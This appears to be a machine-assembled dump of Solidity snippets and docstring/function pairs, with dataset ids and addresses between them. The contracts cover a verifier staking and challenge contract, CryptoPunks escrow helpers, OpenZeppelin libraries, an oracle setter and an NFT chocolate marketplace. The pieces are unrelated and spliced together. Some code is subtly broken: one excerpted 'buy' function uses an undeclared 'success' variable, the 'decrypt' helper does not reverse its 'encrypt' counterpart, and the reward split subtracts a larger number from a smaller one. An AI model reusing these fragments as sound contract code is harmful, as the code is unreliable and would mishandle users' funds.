anymore. let it pass... no penalty emit Finalize(cIndex, msg.sender, SETTLEMENT.PASS); } } } else { //wasteful challenge, add consensus_strikes to the challenger consensus_strikes[challenge.challenger] += 2; if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) { reward += penalize(challenge.challenger); } distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1); emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT); } challenge.done = true; activeChallenges--; chain_under_challenge[challenge.chainID] = 0; } function depositSeqStake(uint256 amount) public onlyManager { require(IERC20(metis).transferFrom(msg.sender, address(this), amount), "transfer metis failed"); seqStake += amount; emit Stake(msg.sender, amount); } function withdrawSeqStake(address to) public onlyManager { require(seqStake > 0, "no stake"); emit Withdraw(msg.sender, seqStake); uint256 amount = seqStake; seqStake = 0; require(IERC20(metis).transfer(to, amount), "transfer metis failed"); } function claim() public { require(rewards[msg.sender] > 0, "no reward to claim"); uint256 amount = rewards[msg.sender]; rewards[msg.sender] = 0; require(IERC20(metis).transfer(msg.sender, amount), "token transfer failed"); emit Claim(msg.sender, amount); } function withdraw(uint256 amount) public { require(activeChallenges == 0, "withdraw is currently prohibited"); //ongoing challenge uint256 balance = verifier_stakes[msg.sender]; require(balance >= amount, "insufficient stake to withdraw"); if (balance - amount < minStake && balance >= minStake) { numQualifiedVerifiers--; deleteVerifier(msg.sender); } verifier_stakes[msg.sender] -= amount; require(IERC20(metis).transfer(msg.sender, amount), "token transfer failed"); } function setMinStake( uint256 _minStake ) public onlyManager { minStake = _minStake; uint num = 0; if (verifiers.length > 0) { address[] memory arr = new address[](verifiers.length); for (uint i = 0; i < verifiers.length; ++i) { if (verifier_stakes[verifiers[i]] >= minStake) { arr[num] = verifiers[i]; num++; } } if (num < verifiers.length) { delete verifiers; for (uint i = 0; i < num; i++) { verifiers.push(arr[i]); } } } numQualifiedVerifiers = num; } // helper function isWhiteListed(address verifier) view public returns(bool){ return !useWhiteList || whitelist[verifier]; } function isSufficientlyStaked (address target) view public returns(bool) { return (verifier_stakes[target] >= minStake); } // set the length of the time windows for each verification phase function setVerifyWindow (uint256 window) onlyManager public { verifyWindow = window; } // add the verifier to the whitelist function setWhiteList(address verifier, bool allowed) public onlyManager { whitelist[verifier] = allowed; useWhiteList = true; } // allow everyone to be the verifier function disableWhiteList() public onlyManager { useWhiteList = false; } function setThreshold(uint absence_threshold, uint fail_threshold) public onlyManager { ABSENCE_THRESHOLD = absence_threshold; FAIL_THRESHOLD = fail_threshold; } function getMerkleRoot(bytes32[] calldata elements) pure public returns (bytes32) { return Lib_MerkleTree.getMerkleRoot(elements); } //helper fucntion to encrypt data function encrypt(bytes calldata data, bytes calldata key) pure public returns (bytes memory) { bytes memory encryptedData = data; uint j = 0; for (uint i = 0; i < encryptedData.length; i++) { if (j == key.length) { j = 0; } encryptedData[i] = encryptByte(encryptedData[i], uint8(key[j])); j++; } return encryptedData; } function encryptByte(bytes1 b, uint8 k) pure internal returns (bytes1) { uint16 temp16 = uint16(uint8(b)); temp16 += k; if (temp16 > 255) { temp16 -= 256; } return bytes1(uint8(temp16)); } // helper fucntion to decrypt the data function decrypt(bytes memory data, bytes memory key) pure public returns (bytes memory) { bytes memory decryptedData = data; uint j = 0; for (uint i = 0; i < decryptedData.length; i++) { if (j == key.length) { j = 0; } decryptedData[i] = decryptByte(decryptedData[i], uint8(key[j])); j++; } return decryptedData; } function decryptByte(bytes1 b, uint8 k) pure internal returns (bytes1) { uint16 temp16 = uint16(uint8(b)); if (temp16 > k) { temp16 -= k; } else { temp16 = 256 - k; } return bytes1(uint8(temp16)); } // calculate the rewards function distributeReward(uint256 amount, address[] memory list, uint num) internal { uint reward = amount / num; if (reward == 0) { return; } uint total = 0; for (uint i; i < list.length; i++) { if (isSufficientlyStaked(list[i])) { rewards[list[i]] += reward; total += reward; emit Reward(list[i], reward); } } if (total < amount) { if (isSufficientlyStaked(list[0])) { rewards[list[0]] += total - amount; emit Reward(list[0], total - amount); } else { rewards[list[1]] += total - amount; emit Reward(list[1], total - amount); } } } // slash the verifier stake function penalize(address target) internal returns(uint256) { uint256 stake = verifier_stakes[target]; verifier_stakes[target] = 0; numQualifiedVerifiers--; deleteVerifier(target); emit Penalize(target, stake); return stake; } function deleteVerifier(address target) internal { bool hasVerifier = false; uint pos = 0; for (uint i = 0; i < verifiers.length; i++){ if (verifiers[i] == target) { hasVerifier = true; pos = i; break; } } if (hasVerifier) { for (uint i = pos; i < verifiers.length-1; i++) { verifiers[i] = verifiers[i+1]; } verifiers.pop(); } } }
RLP encodes an address. _in The address to encode. return The RLP encoded address in bytes./
function writeAddress(address _in) internal pure returns (bytes memory) { return writeBytes(abi.encodePacked(_in)); }
366,117
./full_match/44787/0x5F571A8BadCa15BfcB458Ec9577e430Ad4Dad57c/sources/scripts/Bonus.sol
uint256 _amount = 0; for (uint256 i = 0 ; i < StarNFT1.balanceOf(owner); i ++) { uint256 _tokenId = StarNFT1.tokenByIndex(owner,i); uint256 _number = _getBonus(_tokenId); bonusWithdrawn = bonusWithdrawn.add(_amount); tokenWithdraw[_tokenId] = tokenWithdraw[_tokenId].add(_amount); _amount += _number; } emit Test(owner,_amount); starToken.transfer(_msgSender(), _amount);
function allWithdrawal(address owner) public view returns (uint256){ return StarNFT1.balanceOf(owner); }
13,267,077
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.4; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "../escrow/NFTEscrow.sol"; import "../interfaces/ICryptoPunks.sol"; /// @title CryptoPunks NFTVault helper contract /// @notice Allows compatibility between CryptoPunks and {NFTVault} /// @dev CryptoPunks IERC721 compatibility. /// Meant to only be used by {NFTVault}. /// This contract is NOT an ERC721 wrapper for punks and is not meant to implement the ERC721 interface fully, /// its only purpose is to serve as a proxy between {NFTVault} and CryptoPunks. /// The owner is {NFTVault} contract CryptoPunksHelper is NFTEscrow, OwnableUpgradeable { /// @param punksAddress Address of the CryptoPunks contract function initialize(address punksAddress) external initializer { __NFTEscrow_init(punksAddress); __Ownable_init(); } /// @notice Returns the owner of the punk at index `_idx` /// @dev If the owner of the punk is this contract we return the address of the {NFTVault} for compatibility /// @param _idx The punk index /// @return The owner of the punk if != `address(this)`, otherwise the the owner of this contract function ownerOf(uint256 _idx) external view returns (address) { address account = ICryptoPunks(nftAddress).punkIndexToAddress(_idx); return account == address(this) ? owner() : account; } /// @notice Function called by {NFTVault} to transfer punks. Can only be called by the owner /// @param _from The sender address /// @param _to The recipient address /// @param _idx The index of the punk to transfer function transferFrom( address _from, address _to, uint256 _idx ) external onlyOwner { _transferFrom(_from, _to, _idx); } /// @dev We aren't calling {onERC721Received} on the _to address because punks don't implement /// the {ERC721} interface, but we are including this function for compatibility with the {NFTVault} contract. /// Calling the {onERC721Received} function on the receiver contract could cause problems as we aren't sending an ERC721. /// @param _from The sender address /// @param _to The recipient address /// @param _idx The index of the punk to transfer function safeTransferFrom( address _from, address _to, uint256 _idx ) external onlyOwner { _transferFrom(_from, _to, _idx); } /// @dev Implementation of {transferFrom} and {safeTransferFrom}. We are using {NFTEscrow} for atomic transfers. /// See {NFTEscrow} for more info /// @param _from The sender address /// @param _to The recipient address /// @param _idx The index of the punk to transfer function _transferFrom( address _from, address _to, uint256 _idx ) internal { ICryptoPunks punks = ICryptoPunks(nftAddress); address account = punks.punkIndexToAddress(_idx); //if the owner is this address we don't need to go through {NFTEscrow} if (account != address(this)) { _executeTransfer(_from, _idx); } assert( punks.punkIndexToAddress(_idx) == address(this) //this should never be false" ); //If _to is the owner ({NFTVault}), we aren't sending the punk //since we'd have no way to get it back if (_to != owner()) punks.transferPunk(_to, _idx); } /// @dev Prevent the owner from renouncing ownership. Having no owner would render this contract unusable function renounceOwnership() public view override onlyOwner { revert("Cannot renounce ownership"); } /// @dev The {transferPunk} function is used as the escrow's payload. /// @param _idx The index of the punk that's going to be transferred using {NFTEscrow} function _encodeFlashEscrowPayload(uint256 _idx) internal view override returns (bytes memory) { return abi.encodeWithSignature( "transferPunk(address,uint256)", address(this), _idx ); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.4; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; //inspired by https://github.com/thousandetherhomepage/ketherhomepage/blob/master/contracts/KetherNFT.sol /// @title FlashEscrow contract /// @notice This contract sends and receives non ERC721 NFTs /// @dev Deployed for each NFT, its address is calculated by {NFTEscrow} prior to it being deployed to allow atomic non ERC721 transfers contract FlashEscrow { /// @dev The contract selfdestructs in the constructor, its only purpose is to perform one call to the `target` address using `payload` as the payload /// @param target The call recipient /// @param payload The payload to use for the call constructor(address target, bytes memory payload) { (bool success, ) = target.call(payload); require(success, "FlashEscrow: call_failed"); selfdestruct(payable(target)); } } /// @title Escrow contract for non ERC721 NFTs /// @notice Handles atomic non ERC721 NFT transfers by using {FlashEscrow} /// @dev NFTEscrow allows an atomic, 2 step mechanism to transfer non ERC721 NFTs without requiring prior reservation. /// - Users send the NFT to a precomputed address (calculated using the owner's address as salt) that can be fetched by calling the `precompute` function /// - The child contract can then call the `_executeTransfer` function to deploy an instance of the {FlashEscrow} contract, deployed at the address calculated in the previous step /// This allows atomic transfers, as the address calculated by the `precompute` function is unique and changes depending by the `_owner` address and the NFT index (`_idx`). /// This is an alternative to the classic "reservation" method, which requires users to call 3 functions in a specifc order (making the process non atomic) abstract contract NFTEscrow is Initializable { /// @notice The address of the non ERC721 NFT supported by the child contract address public nftAddress; /// @dev Initializer function, see https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable /// @param _nftAddress See `nftAddress` function __NFTEscrow_init(address _nftAddress) internal initializer { nftAddress = _nftAddress; } /// @dev Computes the bytecode of the {FlashEscrow} instance to deploy /// @param _idx The index of the NFT that's going to be sent to the {FlashEscrow} instance /// @return The bytecode of the {FlashEscrow} instance relative to the NFT at index `_idx` function _encodeFlashEscrow(uint256 _idx) internal view returns (bytes memory) { return abi.encodePacked( type(FlashEscrow).creationCode, abi.encode(nftAddress, _encodeFlashEscrowPayload(_idx)) ); } /// @dev Virtual function, should return the `payload` to use in {FlashEscrow}'s constructor /// @param _idx The index of the NFT that's going to be sent to the {FlashEscrow} instance function _encodeFlashEscrowPayload(uint256 _idx) internal view virtual returns (bytes memory); /// @dev Deploys a {FlashEscrow} instance relative to owner `_owner` and index `_idx` /// @param _owner The owner of the NFT at index `_idx` /// @param _idx The index of the NFT owned by `_owner` function _executeTransfer(address _owner, uint256 _idx) internal { (bytes32 salt, ) = precompute(_owner, _idx); new FlashEscrow{salt: salt}( nftAddress, _encodeFlashEscrowPayload(_idx) ); } /// @notice This function returns the address where user `_owner` should send the `_idx` NFT to /// @dev `precompute` computes the salt and the address relative to NFT at index `_idx` owned by `_owner` /// @param _owner The owner of the NFT at index `_idx` /// @param _idx The index of the NFT owner by `_owner` /// @return salt The salt that's going to be used to deploy the {FlashEscrow} instance /// @return predictedAddress The address where the {FlashEscrow} instance relative to `_owner` and `_idx` will be deployed to function precompute(address _owner, uint256 _idx) public view returns (bytes32 salt, address predictedAddress) { require( _owner != address(this) && _owner != address(0), "NFTEscrow: invalid_owner" ); salt = sha256(abi.encodePacked(_owner)); bytes memory bytecode = _encodeFlashEscrow(_idx); //hash from which the contract address can be derived bytes32 hash = keccak256( abi.encodePacked( bytes1(0xff), address(this), salt, keccak256(bytecode) ) ); predictedAddress = address(uint160(uint256(hash))); return (salt, predictedAddress); } uint256[50] private __gap; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.4; interface ICryptoPunks { function transferPunk(address _to, uint256 _punkIndex) external; function punkIndexToAddress(uint256 _punkIndex) external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
Computes the bytecode of the {FlashEscrow} instance to deploy _idx The index of the NFT that's going to be sent to the {FlashEscrow} instance return The bytecode of the {FlashEscrow} instance relative to the NFT at index `_idx`
function _encodeFlashEscrow(uint256 _idx) internal view returns (bytes memory) { return abi.encodePacked( type(FlashEscrow).creationCode, abi.encode(nftAddress, _encodeFlashEscrowPayload(_idx)) ); }
11,878,117
./full_match/100/0xf54bFc9c3FB6f6Aa73A7660Ae6EA1A95D1509C0E/sources/contracts/citrus-oracle/src/ChainlinkPriceOracle.sol
Admin-only function to set price feeds. underlyings Underlying token addresses for which to set price feeds. feeds The Chainlink price feed contract addresses for each of `underlyings`. baseCurrency The currency in which `feeds` are based./ Input validation For each token/feed Set feed and base currency
function setPriceFeeds(address[] memory underlyings, address[] memory feeds, address baseCurrency) external onlyAdmin { require( underlyings.length > 0 && underlyings.length == feeds.length, "Lengths of both arrays must be equal and greater than 0." ); for (uint256 i = 0; i < underlyings.length; i++) { address underlying = underlyings[i]; priceFeeds[underlying] = AggregatorV3Interface(feeds[i]); feedBaseCurrencies[underlying] = baseCurrency; } }
14,291,523
// SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; /// @title A contract for creating NFT tokens /// @author Josue Perez /// @notice You can use this contract to Creates NFT tokens called CriollosToken /// This token is linked with a physical assets(a Chocolate) that will be send once /// the user buy it at our Market place, after receive the physical assets the user /// is able to trade the NFT token using another Market place for instance OpenSea contract CriolloToken is ERC721Enumerable, Ownable { using Counters for Counters.Counter; using Strings for uint256; /// @notice Emitted when an user buy a NFT in our MarketPlace /// @param owner The address of the Token Owner, /// @param price The price for the token was bought /// @param id The id of the NFT token. /// @dev The price is only used in the first sale event Purchase(address owner, uint256 price, uint256 id); /// @notice Emitted when the token owner unlock the NFT once receive the chocolate /// @param _id The id of the NFT token. /// @param _unlockerAddress Address who unlocked the token event TokenUnlocked(uint256 _id, address _unlockerAddress); /// @notice State of the token. /// @dev Used for handling the intial phase of the workflow, /// after Users unlock the token, state should remain the same. enum State { NotListed, ForSale, Locked, Shipped, Unlocked } /// @notice State object for handling the state of the NFT /// @dev tokenIs is incremented using Counters struct Criollo { uint256 tokenId; uint256 price; State state; } string public baseURI; string public baseExtension = ".json"; Counters.Counter private _tokenIdCounter; /// @dev Mapping from token ID to Criollo objects mapping(uint256 => Criollo) criollos; /// @dev Generate an exception if token can not be Listed in the MarketPlace modifier canBeListed(uint256 _id) { require( criollos[_id].state == State.NotListed, "CriolloToken: Error, This token can not be listed!" ); _; } /// @dev Generate an exception if tocken is not Locked. modifier isLocked(uint256 _id) { require( criollos[_id].state == State.Locked, "CriolloToken: Error, This token has not been Locked!" ); _; } /// @dev Generate an exception if tocken is not Shipped modifier isShipped(uint256 _id) { require( criollos[_id].state == State.Shipped, "CriolloToken: Error, This token has not been Shipped!" ); _; } /// @dev Generate an exception if tocken is not For Sale modifier forSale(uint256 _id) { require( criollos[_id].state == State.ForSale || criollos[_id].state == State.Unlocked, "CriolloToken: Error, This token is not for sale" ); _; } /// @dev Generate an exception if the user does not send exact amount of ether modifier paidExactAmount(uint256 _price) { require( msg.value == _price, "CriolloToken: Error, Send the correct amount of ether" ); _; } /// @notice Constructor called once when deploy the contract /// @param name_ Name of the NFT token /// @param symbol_ Symbol of the NFT /// @param _initBaseURI Contains the base URL where the metadata of the NFT is stored constructor( string memory name_, string memory symbol_, string memory _initBaseURI ) ERC721(name_, symbol_) { setBaseURI(_initBaseURI); } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } /// @notice Mints a new token /// @dev Only the contract owner can mints tokens /// @param _price Initial price for the token. function safeMint(uint256 _price) public onlyOwner { _tokenIdCounter.increment(); uint256 _tokenId = _tokenIdCounter.current(); criollos[_tokenId] = Criollo({ price: _price, tokenId: _tokenId, state: State.NotListed }); _safeMint(msg.sender, _tokenId); require( ownerOf(_tokenId) == msg.sender, "CriollosToken: Error, Token was not minted succesfully" ); } /// @notice Get the token URI function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } /// @notice Add a token to the market place /// @dev This function can only be used by the contract owner to make the token available to others users in our Market Place /// @param _id Id of the token. /// @param _price Price for the token. function addToMarketPlace(uint256 _id, uint256 _price) public canBeListed(_id) onlyOwner { require( _exists(_id), "CriolloToken: Error, This token has not been minted yet" ); criollos[_id].state = State.ForSale; criollos[_id].price = _price; } /// @notice Fetch a token by Id /// @dev Use this function whenever you need info about a token /// @param _tokenId Id of the token. /// @return tokenId - The Id of the token /// @return price - The price of the token /// @return state - The state of the token function getCriollo(uint256 _tokenId) public view returns ( uint256 tokenId, uint256 price, uint256 state ) { tokenId = criollos[_tokenId].tokenId; price = criollos[_tokenId].price; state = uint256(criollos[_tokenId].state); return (tokenId, price, state); } /// @notice Fetch all the NFT /// @return Criollo[] - array of nfts function fetchMarketItems() public view returns (Criollo[] memory) { uint256 itemsCount = _tokenIdCounter.current(); uint256 currentIndex = 0; Criollo[] memory items = new Criollo[](itemsCount); for (uint256 id = 1; id <= itemsCount; id++) { Criollo storage currentItem = criollos[id]; items[currentIndex] = currentItem; currentIndex++; } return items; } /// @notice Fetch owned NFT /// @return Criollo[] - only nfts that a user has purchased function fetchMyNft() public view returns (Criollo[] memory) { uint256 itemsCount = _tokenIdCounter.current(); uint256 itemsOwned = 0; uint256 currentIndex = 0; for (uint256 id = 1; id <= itemsCount; id++) { if (ownerOf(id) == msg.sender) { itemsOwned++; } } Criollo[] memory items = new Criollo[](itemsOwned); for (uint256 id = 1; id <= itemsCount; id++) { if (ownerOf(id) == msg.sender) { Criollo storage currentItem = criollos[id]; items[currentIndex] = currentItem; currentIndex++; } } return items; } /// @notice Buy a token in Criollos Market Place /// @dev This is a custom function for buying function in our Market PLace. /// @param _id Id of the token. function buy(uint256 _id) external payable forSale(_id) paidExactAmount(criollos[_id].price) { require( _exists(_id), "CriolloToken: Error, This token has not been minted yet" ); address payable _currentOwner = payable(ownerOf(_id)); _transfer(ownerOf(_id), msg.sender, _id); if (criollos[_id].state == State.ForSale) { criollos[_id].state = State.Locked; } (bool success, ) = _currentOwner.call{value: msg.value}(""); require(success, "Transfer failed."); emit Purchase(msg.sender, criollos[_id].price, criollos[_id].tokenId); } /// @notice Ship an Item /// @dev Only the contract owner can ship an Item, the token should be sold first /// @param _id Id of the token. function shipped(uint256 _id) public onlyOwner isLocked(_id) { require( _exists(_id), "CriolloToken: Error, This token has not been minted yet" ); criollos[_id].state = State.Shipped; } /// @notice Unlock a Token /// @dev Need to be the owner of the token /// @param _id Id of the token. function unlockToken(uint256 _id) public isShipped(_id) { require( ownerOf(_id) == msg.sender, "CriolloToken: Error, You are not the token owner!" ); criollos[_id].state = State.Unlocked; emit TokenUnlocked(_id, msg.sender); } /// @notice Withdraw balance /// @dev From the contract owner to specific address. function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }(""); require(success, "CriolloToken: Error, Transfer failed."); } /// @notice Transfer function /// @dev This function is overriden from ERC721:_transfer, so we can avoid the token to be transfer if it is not unlocked. function _transfer( address from, address to, uint256 tokenId ) internal override { require( criollos[tokenId].state == State.Unlocked || (ownerOf(tokenId) == owner() && criollos[tokenId].state == State.ForSale), "CriolloToken: Error, This token is Locked and can not be transfered !" ); super._transfer(from, to, tokenId); } function isOwner() public view returns (bool) { return msg.sender == owner(); } }
Buy a token in Criollos Market Place This is a custom function for buying function in our Market PLace. _id Id of the token.
function buy(uint256 _id) external payable forSale(_id) paidExactAmount(criollos[_id].price) { require( _exists(_id), "CriolloToken: Error, This token has not been minted yet" ); address payable _currentOwner = payable(ownerOf(_id)); _transfer(ownerOf(_id), msg.sender, _id); if (criollos[_id].state == State.ForSale) { criollos[_id].state = State.Locked; } require(success, "Transfer failed."); emit Purchase(msg.sender, criollos[_id].price, criollos[_id].tokenId); }
12,892,950
./full_match/4/0xC3f49aD793CC9E87A49F7Bd9d2F058675600Be73/sources/contracts/AdvancedCollectible.sol
pug, shiba inu, st bernard
function setTokenURI(uint256 tokenId, string memory _tokenURI) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not owner no approved"); _setTokenURI(tokenId, _tokenURI); }
673,504
